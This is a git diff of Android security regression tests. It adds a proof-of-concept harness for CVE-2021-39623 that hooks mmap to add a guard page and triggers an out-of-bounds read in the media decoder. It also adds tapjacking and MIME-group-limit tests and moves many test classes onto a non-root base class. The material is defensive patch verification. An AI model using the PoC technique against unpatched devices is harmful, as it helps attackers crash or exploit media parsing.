+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39623",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ header_libs: [
+ "libmediametrics_headers",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libdatasource",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp
new file mode 100644
index 0000000..d9e38ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <gui/SurfaceComposerClient.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/InterfaceUtils.h>
+#include <media/stagefright/MediaCodecList.h>
+#include <media/stagefright/MediaExtractorFactory.h>
+#include <media/stagefright/SimpleDecodingSource.h>
+#include <sys/mman.h>
+
+typedef void *(*mmap_t)(void *, size_t, int, int, int, off_t);
+mmap_t real_mmap = nullptr;
+
+using namespace android;
+
+bool testInProgress = false;
+constexpr size_t kTargetBufferSize = 32768;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+void *mmap(void *addr, size_t length, int prot, int flags, int fd,
+ off_t offset) {
+ real_mmap = (mmap_t)dlsym(RTLD_NEXT, "mmap");
+ if (!real_mmap) {
+ exit(EXIT_FAILURE);
+ }
+ if (length == kTargetBufferSize) {
+ char *tmp_ptr = (char *)real_mmap(addr, length + PAGE_SIZE, prot,
+ flags | MAP_ANONYMOUS, -1, offset);
+ mprotect(tmp_ptr + length, PAGE_SIZE, PROT_NONE);
+ return tmp_ptr;
+ }
+ return real_mmap(addr, length, prot, flags, fd, offset);
+}
+
+int main(int argc, char **argv) {
+ FAIL_CHECK(argc > 1);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ sp<DataSource> dataSource = DataSourceFactory::getInstance()->CreateFromURI(
+ nullptr /* httpService */, argv[1]);
+ FAIL_CHECK(dataSource);
+
+ sp<IMediaExtractor> extractor = MediaExtractorFactory::Create(dataSource);
+ FAIL_CHECK(extractor);
+
+ sp<MediaSource> mediaSource =
+ CreateMediaSourceFromIMediaSource(extractor->getTrack(0));
+ FAIL_CHECK(mediaSource);
+
+ sp<MediaSource> rawSource = SimpleDecodingSource::Create(
+ mediaSource, MediaCodecList::kPreferSoftwareCodecs, nullptr, nullptr,
+ false);
+ FAIL_CHECK(rawSource);
+
+ status_t err = rawSource->start();
+ FAIL_CHECK(err == OK);
+
+ MediaSource::ReadOptions options = {};
+ MediaBufferBase *buffer = nullptr;
+
+ testInProgress = true;
+ rawSource->read(&buffer, &options);
+ testInProgress = false;
+ if (buffer) {
+ buffer->release();
+ buffer = nullptr;
+ }
+ options.clearSeekTo();
+ options.setSeekTo(0);
+ rawSource->stop();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index c8e8cbf..52141c6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,44 +16,41 @@
package android.security.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.ddmlib.CollectingOutputReceiver;
import com.android.ddmlib.IShellOutputReceiver;
import com.android.ddmlib.NullOutputReceiver;
-import com.android.ddmlib.CollectingOutputReceiver;
+import com.android.sts.common.tradefed.testtype.SecurityTestCase;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
-import java.util.concurrent.TimeoutException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
import java.util.Map;
+import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import java.util.concurrent.TimeUnit;
-import java.util.Scanner;
-import java.util.Arrays;
-import java.util.ArrayList;
-import java.util.concurrent.Callable;
-import java.util.Collections;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.util.regex.Pattern;
-import java.lang.Thread;
-
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
public class AdbUtils {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
index 0822c75..6a259b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_182282630 extends SecurityTestCase {
+public final class Bug_182282630 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_182282630";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-182282630.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
index 57e2635..52f680e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
@@ -21,14 +21,15 @@
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_182808318 extends SecurityTestCase {
+public final class Bug_182808318 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_182808318";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-182808318.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java
new file mode 100644
index 0000000..b461fae
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_182810085 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.BUG_182810085";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "BUG-182810085.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(
+ "not an Automotive device",
+ getDevice().hasFeature("feature:android.hardware.type.automotive"));
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 182810085)
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(TEST_APP);
+ // Grant permission to draw overlays.
+ getDevice().executeShellCommand(
+ "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW");
+ assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
index e3dd727..1295a85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183410508 extends SecurityTestCase {
+public final class Bug_183410508 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183410508";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183410508.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
index d59fce4..fac7d0e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
@@ -21,6 +21,7 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Before;
@@ -28,7 +29,7 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183411210 extends SecurityTestCase {
+public final class Bug_183411210 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183411210";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183411210.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
index df7556c..bbcd64c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183411279 extends SecurityTestCase {
+public final class Bug_183411279 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183411279";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183411279.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 75bbd0a..f0b6568 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@
import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
+public final class Bug_183613671 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183613671";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
index 73cfdb9..8045838 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183794206 extends SecurityTestCase {
+public final class Bug_183794206 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183794206";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183794206.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index adf6103..7b183b3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
+public final class Bug_183963253 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183963253";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
index 84ae114..5580acb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
@@ -15,15 +15,19 @@
*/
package android.security.cts;
+
import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Bug_187957589 extends SecurityTestCase {
+public class Bug_187957589 extends NonRootSecurityTestCase {
/**
* b/187957589
* Vulnerability Behaviour: out of bounds write in noteAtomLogged for negative atom ids.
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
new file mode 100644
index 0000000..0723e53
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.junit.Assert.assertThat;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_237291548 extends NonRootSecurityTestCase {
+
+ private static final String TEST_PKG = "android.security.cts.BUG_237291548";
+ private static final String TEST_CLASS = TEST_PKG + ".DeviceTest";
+ private static final String TEST_APP = "BUG-237291548.apk";
+ private static final String TEST_FAIL_INSTALL_APP = "BUG-237291548-FAIL-INSTALL.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 237291548)
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(TEST_APP);
+
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedGroupLimit");
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedMimeLengthLimit");
+ }
+
+ @Test(expected = TargetSetupError.class)
+ @AsbSecurityTest(cveBugId = 237291548)
+ public void testInvalidApkFails() throws Exception {
+ try {
+ installPackage(TEST_FAIL_INSTALL_APP);
+ } catch (TargetSetupError e) {
+ assertThat(e.getMessage(),
+ containsString("Max limit on number of MIME Groups reached"));
+ throw e;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
index 4ee8a5e..a4b8506 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -15,15 +15,20 @@
*/
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
+
import static org.junit.Assume.assumeFalse;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_2182 extends SecurityTestCase {
+public class CVE_2016_2182 extends NonRootSecurityTestCase {
/**
* b/32096880
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
index 462864b..21057e2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_8332 extends SecurityTestCase {
+public class CVE_2016_8332 extends NonRootSecurityTestCase {
/**
* b/37761553
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
index 0267551..91766f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -15,13 +15,17 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_0684 extends SecurityTestCase {
+public class CVE_2017_0684 extends NonRootSecurityTestCase {
/**
* b/35421151
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
index 4f08b71..397078d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -15,13 +15,17 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_0726 extends SecurityTestCase {
+public class CVE_2017_0726 extends NonRootSecurityTestCase {
/**
* b/36389123
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
index 62c72f2..bd69afb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
@@ -15,16 +15,20 @@
*/
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import static org.junit.Assert.*;
import static org.junit.Assume.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_13194 extends SecurityTestCase {
+public class CVE_2017_13194 extends NonRootSecurityTestCase {
/**
* b/64710201
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
index 0990cd4..f67c556 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9410 extends SecurityTestCase {
+public class CVE_2018_9410 extends NonRootSecurityTestCase {
/**
* b/77822336
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
index df360d0..d58b3c3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9537 extends SecurityTestCase {
+public class CVE_2018_9537 extends NonRootSecurityTestCase {
/**
* b/112891564
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
index 1bb5e0a4..f4a91b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9547 extends SecurityTestCase {
+public class CVE_2018_9547 extends NonRootSecurityTestCase {
/**
* b/114223584
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
index bf2b0d1..1db523b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9549 extends SecurityTestCase {
+public class CVE_2018_9549 extends NonRootSecurityTestCase {
/**
* b/112160868
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index a4d088d..fdf85b7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -21,6 +21,7 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -29,7 +30,7 @@
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9558 extends SecurityTestCase {
+public class CVE_2018_9558 extends NonRootSecurityTestCase {
/**
* b/112161557
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
index ceeb117..d8027c0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9561 extends SecurityTestCase {
+public class CVE_2018_9561 extends NonRootSecurityTestCase {
/**
* b/111660010
